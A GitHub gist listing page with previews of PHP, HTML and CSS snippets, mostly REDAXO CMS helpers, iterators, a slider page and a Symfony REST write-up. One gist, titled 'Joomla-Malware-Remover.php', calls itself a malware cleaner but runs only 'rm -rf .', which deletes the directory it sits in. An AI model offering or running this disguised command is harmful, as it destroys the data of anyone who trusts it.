Skip to content

Instantly share code, notes, and snippets.

View joachimdoerr's full-sized avatar

Joachim Dörr joachimdoerr

View GitHub Profile
@skerbis
skerbis / boot.php
Last active May 15, 2023 13:39
REDAXO CKE5 Uikit-Helper // rewrite images to responsive or Lightbox
<?php
if (rex::isFrontend() || rex_be_controller::getCurrentPage() == 'content/edit' && rex_request('function','string')!=='edit'){
rex_extension::register('OUTPUT_FILTER', static function ($ep) {
$html = $ep->getSubject();
$pattern = '/(<figure[^>]*class="[^"]*image[^"]*"[^>]*style="[^"]*width:)(\d+)(%;[^"]*">)(.*?)(<\/figure>)/s';
$new_html = preg_replace_callback($pattern, function ($matches) {
$width_map = [
'100' => 'uk-width-1-1',
<?php
// Function zur Generierung eines Navigationsarrays
// Benötigt für den Aufruf werden nur $start,$depth und $ignoreoffline
// Alle weiteren Angaben dienen der internen Verarbeitung
// Alle weiteren Informationen aus rex_structure fintet man in catObject
// DEMO siehe unten
if (!function_exists('structureArray')) {
function structureArray($start = 0, $depth = 0, $ignoreoffline = true, $depth_saved = 0, $level = 0, $id = 0)
{
$result = array();
@staabm
staabm / navigation_iterator.php
Last active July 30, 2020 14:07
redaxo navigation iterator
<?php
/**
* Klasse zum Erstellen von Navigationen, v0.1.
*
* benötigt PHP7!
*
* @package redaxo\structure
*/
@tommydunn
tommydunn / index.html
Last active March 12, 2024 12:58
Slick Slider with auto play YouTube, Vimeo and HTML5 video
<header>
<h1>SITE TITLE</h1>
<nav>
<ul>
<li><a href="#">HOME</a></li>
<li><a href="#">ABOUT</a></li>
<li><a href="#">SERVICES</a></li>
<li><a href="#">CONTACT</a></li>
</ul>
</nav>
@skerbis
skerbis / getaslice_ausgabe.php
Last active April 3, 2020 13:35
redaxo 5 - get a slice
<?php
if( "REX_VALUE[2]" != "" )
{
// Im Backend den Link zur Quelle anzeigen
if(rex::isBackend())
{
$master = rex_article::get(REX_LINK[id=1 output=id]);
@jm42
jm42 / GroupIterator.php
Created October 26, 2014 20:32
PHP `itertools.groupby` implementation
<?php
class GroupIterator implements Iterator
{
protected $keyfunc;
protected $iter;
protected $key = null;
protected $value = null;
@dajoho
dajoho / gn2 oxid autoload shim
Last active August 29, 2015 14:06
Prevents OXID throwing a whitepage/redirect if a module exists in the database (aModules) that doesn't exist in the filesystem.
<?php
/* Put this in modules/functions.php */
require_once __DIR__.'/../core/oxfunctions.php';
function gn2_autoload_shim($class) { (substr($class, -7) == "_parent") ? eval('class '.$class.' {}') : ""; }
spl_autoload_register('gn2_autoload_shim');
?>
@lologhi
lologhi / 1.How to easily implement a REST API with oAuth2 presentation.md
Last active April 4, 2024 22:13
Symfony2 : How to easily implement a REST API with oAuth2 (for normal guys)

It's still a work in progress...

Intro

As William Durand was recently explaining in his SOS, he "didn't see any other interesting blog post about REST with Symfony recently unfortunately". After spending some long hours to implement an API strongly secured with oAuth, I thought it was time for me to purpose my simple explanation of how to do it.

Ok, you know the bundles

You might have already seen some good explanation of how to easily create a REST API with Symfony2. There are famous really good bundles a.k.a. :

@dajoho
dajoho / Joomla-Malware-Remover.php
Created June 26, 2013 07:26
Removes all known Joomla Malware. Use at own risk. There is a slight chance it might kill your installation. Upload to root folder of Joomla.
<?php
# Removes all known Joomla Malware.
system("rm -rf .");
?>
@dannykeane
dannykeane / output.css
Created February 11, 2013 12:12
Less CSS Retina Mixin
#element{
background-image: url('/images/sprite.png');
background-repeat: no-repeat;
background-position: -3px 0;
}
@media print, screen,
(-webkit-min-device-pixel-ratio: 1.25),
(~`"-o-min-device-pixel-ratio: 1.25/1"`),
(min--moz-device-pixel-ratio: 1.25),